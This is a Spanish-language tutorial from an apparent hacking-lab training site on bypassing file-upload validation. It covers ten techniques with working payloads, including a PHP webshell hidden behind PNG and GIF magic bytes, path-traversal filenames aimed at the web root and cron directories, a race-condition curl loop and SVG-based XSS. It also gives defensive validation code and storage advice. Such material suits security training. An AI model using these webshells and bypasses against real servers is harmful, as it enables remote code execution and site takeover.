Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

File Upload — bypasses de extension, content-type y magic bytes

10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.

Gorka El Bochi9 de mayo de 202613 min

Respuesta rápida

File upload vulnerable cuando el servidor acepta archivos sin validar correctamente su contenido y los sirve desde un path donde se ejecutan. RCE directo si subes una webshell a un directorio web servido por el motor (PHP, ASP, JSP). Los bypasses se centran en: extension list incompleta, content-type confiable, magic bytes spoofeables, doble extensión, null bytes, path traversal en filename, y race conditions en validators secuenciales.


El árbol de defensas

Un endpoint upload "seguro" debería validar:

  1. Extension del archivo (whitelist de extensiones permitidas).
  2. Content-Type (declarado en multipart).
  3. Magic bytes del contenido real.
  4. Tamaño máximo.
  5. Filename sanitization (no path traversal, no null bytes).
  6. Storage path no ejecutable (no servir desde el web root).
  7. Filename randomization (no permitir nombres del cliente).

Si CUALQUIERA falla, hay vector. La mayoría de apps fallan en al menos 2-3.


10 bypasses prácticos

1. Lista negra incompleta

Si bloquean .php pero no:

arduino
shell.phtml      → ejecuta PHP en Apache con default config
shell.phar       → archivo PHP
shell.pht        → ejecuta como PHP
shell.php3 / .php4 / .php5 / .php7
shell.pHp        → case sensitive en algunos
shell.php.png    → con ApacheDoubleExt habilitado

2. Doble extensión

Cuando Apache se configura con AddHandler application/x-httpd-php .php:

css
shell.php.png       → si Apache reconoce .php en cualquier punto del filename, ejecuta
shell.phar.png

3. Null byte (apps legacy)

perl
shell.php%00.png    → en parsers que usan funciones C, %00 corta el string
shell.php\x00.jpg

PHP < 5.3.4 vulnerable. Aún se ve en sistemas no parcheados.

4. Content-Type spoof

El cliente declara el Content-Type en multipart. Si el servidor solo confía en eso:

http
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Si solo valida Content-Type: image/*, pasa.

5. Magic bytes spoof

Si valida con magic bytes del PNG (\x89PNG):

php
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

Algunos parsers solo miran los primeros 8 bytes. El resto se interpreta como PHP cuando se ejecuta como tal.

GIF también común:

php
GIF89a;
<?php system($_GET['cmd']); ?>

6. Polyglot files

Archivos válidos en dos formatos. Ej.: PHP+JPG válido para libimage pero también ejecutable como PHP:

bash
# Crear polyglot
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php   # luego renombrar si extension permite

7. Path traversal en filename

Si el filename se escribe en un path:

ini
filename = "../../../../var/www/html/shell.php"
filename = "../../etc/cron.d/exec"
filename = "..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"

Escribe en directorio arbitrario.

8. Race condition entre upload y validación

Algunos endpoints:

  1. Guardan el archivo.
  2. Lo escanean (antivirus, content check).
  3. Si falla, lo eliminan.

Si el archivo es servible HTTP entre paso 1 y paso 3, accede en esa ventana:

bash
# Subir + acceder en bucle hasta que esté
while true; do curl https://target.tld/uploads/shell.php; done

9. SVG con script (subido como imagen)

SVG es XML. Permite <script> o <iframe> que ejecutan en el contexto del dominio que sirve la imagen:

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Si la app sirve SVG sin sanitizar y se carga en página del propio dominio (avatar, logo) → Stored XSS.

10. ZIP slip / archive extraction

Si el upload es ZIP que se extrae server-side:

python
zip con archivo "../../../../etc/cron.d/exec"

Sin validación, escribe en filesystem arbitrario al extraer.


Validación de magic bytes — patrón correcto

python
def validate_image(file_bytes):
    # Extender lista de magics esperados
    magics = {
        'png': b'\x89PNG\r\n\x1a\n',
        'jpeg': b'\xff\xd8\xff',
        'gif': b'GIF89a',
    }

    # Identificar tipo real
    for fmt, magic in magics.items():
        if file_bytes.startswith(magic):
            # Re-encode con librería confiable para descartar payloads embebidos
            from PIL import Image
            from io import BytesIO
            img = Image.open(BytesIO(file_bytes))
            img.verify()
            # Re-save (esto destruye payloads PHP embebidos)
            output = BytesIO()
            img.save(output, format=fmt.upper())
            return output.getvalue()
    raise ValueError("Not a valid image")

El truco clave: re-encodar la imagen tras validar. Eso destruye cualquier payload extraño embebido entre el magic byte y el final.


Otros impactos posibles (no solo RCE)

  • Stored XSS vía SVG/HTML upload servido en mismo dominio.
  • Account takeover si el avatar se sirve en <img> y permite XSS → roba sesión.
  • DoS vía archivos masivos / ZIP bomb.
  • Phishing si el dominio sirve PDFs que se confunden con originales.
  • CSRF storage si el archivo se sirve como HTML+CSRF token.

Storage path correctly

Las apps modernas suelen:

  1. Subir a un bucket S3/GCS (no en el filesystem del web server).
  2. Servir vía CDN con dominio separado (cdn.target.tld con headers limitados).
  3. Forzar Content-Disposition: attachment para downloads (impide ejecución inline).

Cualquier desviación de esto = vector probable.


Hunting checklist

  • ¿El endpoint valida solo extensión, solo content-type, o ambos?
  • ¿Probar .php, .phtml, .phar, .pht, .php5, mayúsculas mezcladas?
  • ¿Doble extensión .php.png? (Apache mal configurado).
  • ¿Magic bytes spoofeable? Subir PNG válido + payload PHP al final.
  • ¿SVG aceptado? Probar <script> embebido.
  • ¿Path traversal en filename? ../../shell.php.
  • ¿Filename del cliente se respeta o se randomiza?
  • ¿Storage path es servido por el web server con execution?
  • ¿Race condition entre upload y antivirus/scan?
  • ¿ZIP/archive uploads sin validar contenido extraído?

Labs relacionados

Practica los 10 bypasses contra apps reales con validación parcial: labs de File Upload.

Practica esto en un lab

File Upload

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados